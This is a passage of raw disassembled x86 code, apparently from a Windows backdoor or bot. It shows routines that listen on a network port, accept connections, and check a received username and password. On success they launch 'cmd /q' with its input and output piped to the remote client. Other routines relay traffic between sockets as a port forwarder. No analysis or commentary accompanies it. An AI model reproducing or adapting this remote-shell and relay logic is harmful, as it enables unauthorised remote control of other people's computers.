		call	sub_40A203
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_43C74C[ebx]
		mov	dword_43C744[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43C750[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_40F81A
		push	edi
		push	edi
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43C754[ecx], eax
		jz	short loc_40F7D6


loc_40F783:				; CODE XREF: sub_40F633+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_40F792
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40F783
; ---------------------------------------------------------------------------


loc_40F792:				; CODE XREF: sub_40F633+153j
		mov	ebx, 1000h


loc_40F797:				; CODE XREF: sub_40F633+19Fj
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4C9818	; recv
		cmp	eax, edi
		jle	short loc_40F7E9
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C984C	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F797
		jmp	short loc_40F7E9
; ---------------------------------------------------------------------------


loc_40F7D6:				; CODE XREF: sub_40F633+14Ej
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436498
		call	sub_413BD2
		pop	ecx
		pop	ecx


loc_40F7E9:				; CODE XREF: sub_40F633+44j
					; sub_40F633+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_43C74C[eax]
		call	dword_4C9894	; closesocket
		push	[ebp+arg_0]
		call	dword_4C9894	; closesocket
		push	[ebp+var_4]
		call	sub_40A51F
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40F633	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F81A	proc near		; DATA XREF: sub_40F633+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_418030
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_40F851:				; CODE XREF: sub_40F81A+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_43C750[esi]
		call	dword_4C9818	; recv
		test	eax, eax
		jle	short loc_40F898
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_43C74C[esi]
		call	dword_4C984C	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F851


loc_40F898:				; CODE XREF: sub_40F81A+61j
		push	dword_43C750[esi]
		call	dword_4C9894	; closesocket
		push	[ebp+var_14]
		call	sub_40A51F
		pop	ecx
		push	0
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_40F81A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F8B7	proc near		; DATA XREF: sub_40FB45+1BEo

var_3D4		= byte ptr -3D4h
var_350		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_3D4]
		push	1
		mov	[ebp+var_C], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp+var_208]
		mov	[ebp+arg_0], eax
		imul	eax, 234h
		lea	esi, dword_43C74C[eax]
		xor	edi, edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_1F4], ebx
		mov	eax, [esi]
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1F4]
		push	edi
		push	eax
		push	edi
		call	dword_4C97E8	; select
		test	eax, eax
		jnz	short loc_40F93B
		push	dword ptr [esi]
		call	dword_4C9894	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread


loc_40F93B:				; CODE XREF: sub_40F8B7+6Aj
		push	edi
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4C9818	; recv
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_40FABC
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_40FABC
		lea	eax, [ebp+var_F0]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_40FABC
		add	esp, 24h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	dword ptr [esi]
		call	dword_4C9760	; getpeername
		test	eax, eax
		jz	short loc_40F9B4
		call	dword_4C979C	; WSAGetLastError
		push	eax
		push	offset unk_4365B0
		call	sub_413BD2
		push	[ebp+arg_0]
		call	sub_40A51F
		add	esp, 0Ch
		push	edi
		call	dword_4230CC	; ExitThread


loc_40F9B4:				; CODE XREF: sub_40F8B7+D8j
		push	2
		lea	eax, [ebp+var_18]
		push	4
		push	eax
		call	dword_4C97BC	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_40F9DE
		push	[ebp+var_18]
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_417D96
		jmp	short loc_40F9EC
; ---------------------------------------------------------------------------


loc_40F9DE:				; CODE XREF: sub_40F8B7+10Dj
		push	dword ptr [eax]
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_4183B0


loc_40F9EC:				; CODE XREF: sub_40F8B7+125j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43B9B8
		push	dword ptr [esi]
		call	dword_4C984C	; send
		cmp	dword_4CC560, edi
		jnz	short loc_40FA4E
		push	[ebp+var_18]
		lea	eax, [ebp+var_350]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_40FB16
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40FA4E
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4C984C	; send
		push	dword ptr [esi]
		call	dword_4C9894	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread


loc_40FA4E:				; CODE XREF: sub_40F8B7+14Cj
					; sub_40F8B7+16Dj
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_436574
		call	sub_413BD2
		push	[ebp+arg_0]
		call	sub_40FDCD
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40FA95
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436548
		call	sub_413BD2
		push	[ebp+arg_0]
		call	sub_40A51F
		add	esp, 0Ch
		push	ebx
		call	dword_4230CC	; ExitThread


loc_40FA95:				; CODE XREF: sub_40F8B7+1B9j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_43651C
		call	sub_413BD2
		push	[ebp+arg_0]
		call	sub_40A51F
		add	esp, 10h
		push	edi
		call	dword_4230CC	; ExitThread
sub_40F8B7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FABC	proc near		; CODE XREF: sub_40F8B7+9Ap
					; sub_40F8B7+A7p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9818	; recv
		cmp	eax, 1
		jnz	short loc_40FB0C
		mov	esi, [ebp+arg_4]


loc_40FADA:				; CODE XREF: sub_40FABC+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_40FB01
		test	al, al
		jz	short loc_40FB10
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9818	; recv
		cmp	eax, 1
		jz	short loc_40FADA
		jmp	short loc_40FB0C
; ---------------------------------------------------------------------------


loc_40FB01:				; CODE XREF: sub_40FABC+27j
		push	offset unk_4365DC
		call	sub_413BD2
		pop	ecx


loc_40FB0C:				; CODE XREF: sub_40FABC+19j
					; sub_40FABC+43j
		xor	eax, eax
		jmp	short loc_40FB13
; ---------------------------------------------------------------------------


loc_40FB10:				; CODE XREF: sub_40FABC+2Bj
		push	1
		pop	eax


loc_40FB13:				; CODE XREF: sub_40FABC+52j
		pop	esi
		leave
		retn
sub_40FABC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FB16	proc near		; CODE XREF: sub_40F8B7+163p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FB41
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset unk_436608
		call	sub_413BD2
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40FB41:				; CODE XREF: sub_40FB16+11j
		push	1
		pop	eax
		retn
sub_40FB16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FB45	proc near		; DATA XREF: sub_401AC7+1F24o

var_5DC		= dword	ptr -5DCh
var_5A4		= byte ptr -5A4h
var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_214]
		push	1
		rep movsd
		pop	edi
		mov	[eax+1DCh], edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	202h
		call	dword_4C977C	; WSAStartup
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_40FB9E
		push	eax
		push	offset unk_436778
		call	sub_413BD2
		push	[ebp+var_4C]
		call	sub_40A51F
		add	esp, 0Ch
		push	edi
		call	dword_4230CC	; ExitThread


loc_40FB9E:				; CODE XREF: sub_40FB45+3Aj
		push	edi
		push	offset loc_40FDC3
		call	dword_423120	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_40FBD7
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436734
		call	sub_413BD2
		pop	ecx
		pop	ecx
		call	dword_4C9764	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40A51F
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread


loc_40FBD7:				; CODE XREF: sub_40FB45+67j
		push	ebx
		push	10h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_20], 2
		push	[ebp+var_50]
		call	dword_4C9800	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], esi
		call	dword_4C987C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40FD4E
		mov	eax, [ebp+var_4C]
		push	10h
		imul	eax, 234h
		mov	dword_43C74C[eax], ebx
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	dword_4C982C	; bind
		test	eax, eax
		jnz	loc_40FD4E
		push	7FFFFFFFh
		push	ebx
		call	dword_4C9828	; listen
		test	eax, eax
		jnz	loc_40FD4E
		push	offset unk_4366F8
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	sub_413B5E
		pop	ecx
		mov	[ebp+arg_0], edi


loc_40FC66:				; CODE XREF: sub_40FB45+15Aj
					; sub_40FB45+1E4j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	dword_4C9890	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_40FD51
		push	[ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	eax
		push	8
		push	0FFFFh
		push	edi
		call	dword_4C97E0	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40FC66
		movzx	eax, [ebp+var_32]
		push	[ebp+var_4C]
		mov	[ebp+var_38], esi
		push	eax
		push	[ebp+var_30]
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_4366B4
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_413B5E
		push	edi
		lea	eax, [ebp+var_414]
		push	9
		push	eax
		call	sub_40A203
		mov	[ebp+var_48], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_4C]
		add	esp, 24h
		mov	dword_43C744[eax], ecx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_40F8B7
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_48]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43C754[ecx], eax
		jz	short loc_40FD39


loc_40FD26:				; CODE XREF: sub_40FB45+1F2j
		cmp	[ebp+var_38], esi
		jnz	loc_40FC66
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40FD26
; ---------------------------------------------------------------------------


loc_40FD39:				; CODE XREF: sub_40FB45+1DFj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436678
		call	sub_413BD2
		pop	ecx
		pop	ecx
		jmp	short loc_40FD51
; ---------------------------------------------------------------------------


loc_40FD4E:				; CODE XREF: sub_40FB45+C8j
					; sub_40FB45+ECj ...
		mov	edi, [ebp+arg_0]


loc_40FD51:				; CODE XREF: sub_40FB45+13Cj
					; sub_40FB45+207j
		call	dword_4C979C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_436640
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_3C], esi
		jnz	short loc_40FD91
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_40]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_214]
		call	sub_408C5D
		add	esp, 14h


loc_40FD91:				; CODE XREF: sub_40FB45+22Aj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_413B5E
		pop	ecx
		push	edi
		call	dword_4C9894	; closesocket
		push	ebx
		call	dword_4C9894	; closesocket
		call	dword_4C9764	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40A51F
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	ebx


loc_40FDC3:				; DATA XREF: sub_40FB45+5Ao
		xor	eax, eax
		cmp	[esp+5E0h+var_5DC], eax
		setz	al
		retn
sub_40FB45	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FDCD	proc near		; CODE XREF: sub_40F8B7+1AFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_40FF1E
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43C74C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42307C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4100F0
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_40FE38
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4367D8
		call	sub_413BD2
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_40FE72
; ---------------------------------------------------------------------------


loc_40FE38:				; CODE XREF: sub_40FDCD+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4101A2
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_40FE79
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4367D8
		call	sub_413BD2
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	dword_4230AC	; TerminateThread


loc_40FE72:				; CODE XREF: sub_40FDCD+69j
		xor	eax, eax
		jmp	loc_40FF19
; ---------------------------------------------------------------------------


loc_40FE79:				; CODE XREF: sub_40FDCD+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	dword_423124	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_40FED3
		dec	eax
		jz	short loc_40FECD
		dec	eax
		jz	short loc_40FEB9
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4367A4
		call	sub_413BD2
		pop	ecx
		pop	ecx
		jmp	short loc_40FEE8
; ---------------------------------------------------------------------------


loc_40FEB9:				; CODE XREF: sub_40FDCD+D5j
		mov	edi, dword_4230AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_40FEE8
; ---------------------------------------------------------------------------


loc_40FECD:				; CODE XREF: sub_40FDCD+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_40FED7
; ---------------------------------------------------------------------------


loc_40FED3:				; CODE XREF: sub_40FDCD+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_40FED7:				; CODE XREF: sub_40FDCD+104j
		call	dword_4230AC	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	dword_4230F0	; TerminateProcess


loc_40FEE8:				; CODE XREF: sub_40FDCD+EAj
					; sub_40FDCD+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_423068
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_4C9894	; closesocket
		push	esi
		call	sub_4177C1
		pop	ecx
		push	1
		pop	eax


loc_40FF19:				; CODE XREF: sub_40FDCD+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FDCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF1E	proc near		; CODE XREF: sub_40FDCD+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_417A2B
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410008
		mov	ebx, dword_4230FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, dword_423068
		test	eax, eax
		jnz	short loc_40FF81
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436888
		jmp	short loc_40FFA1
; ---------------------------------------------------------------------------


loc_40FF81:				; CODE XREF: sub_40FF1E+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_40FFA9
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436848


loc_40FFA1:				; CODE XREF: sub_40FF1E+61j
		call	sub_413BD2
		pop	ecx
		jmp	short loc_40FFD7
; ---------------------------------------------------------------------------


loc_40FFA9:				; CODE XREF: sub_40FF1E+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410017
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41000C
		push	offset unk_436820
		call	sub_413B5E


loc_40FFD7:				; CODE XREF: sub_40FF1E+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_40FFE3
		push	[ebp+var_4]
		call	edi	; CloseHandle


loc_40FFE3:				; CODE XREF: sub_40FF1E+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_40FFEE
		push	[ebp+var_8]
		call	edi	; CloseHandle


loc_40FFEE:				; CODE XREF: sub_40FF1E+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40FFF7
		push	eax
		call	edi	; CloseHandle


loc_40FFF7:				; CODE XREF: sub_40FF1E+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410001
		push	eax
		call	edi	; CloseHandle


loc_410001:				; CODE XREF: sub_40FF1E+DEj
		push	esi
		call	sub_4177C1
		pop	ecx


loc_410008:				; CODE XREF: sub_40FF1E+1Dj
		xor	eax, eax
		jmp	short loc_410012
; ---------------------------------------------------------------------------


loc_41000C:				; CODE XREF: sub_40FF1E+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410012:				; CODE XREF: sub_40FF1E+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FF1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410017	proc near		; CODE XREF: sub_40FF1E+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417AA0
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417AA0
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4230F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_4230F4	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	dword_42306C	; CreateProcessA
		test	eax, eax
		jz	short loc_4100D3
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43C748[eax], ecx
		call	dword_423068	; CloseHandle
		jmp	short loc_4100E9
; ---------------------------------------------------------------------------


loc_4100D3:				; CODE XREF: sub_410017+9Aj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4368C8
		call	sub_413BD2
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4100E9:				; CODE XREF: sub_410017+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410017	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100F0	proc near		; DATA XREF: sub_40FDCD+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4230E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_410119:				; CODE XREF: sub_4100F0+8Fj
		call	ebx	; ReadFile
		test	eax, eax
		jz	short loc_410181
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_410154


loc_41012A:				; CODE XREF: sub_4100F0+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_410144
		cmp	dl, 0Dh
		jz	short loc_410144
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_410144:				; CODE XREF: sub_4100F0+44j
					; sub_4100F0+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_41012A


loc_410154:				; CODE XREF: sub_4100F0+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4C984C	; send
		test	eax, eax
		jle	short loc_410181
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_410119
; ---------------------------------------------------------------------------


loc_410181:				; CODE XREF: sub_4100F0+2Dj
					; sub_4100F0+79j
		mov	esi, dword_42308C
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_41019D
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436908
		call	sub_413BD2
		pop	ecx
		pop	ecx


loc_41019D:				; CODE XREF: sub_4100F0+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4100F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4101A2	proc near		; DATA XREF: sub_40FDCD+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
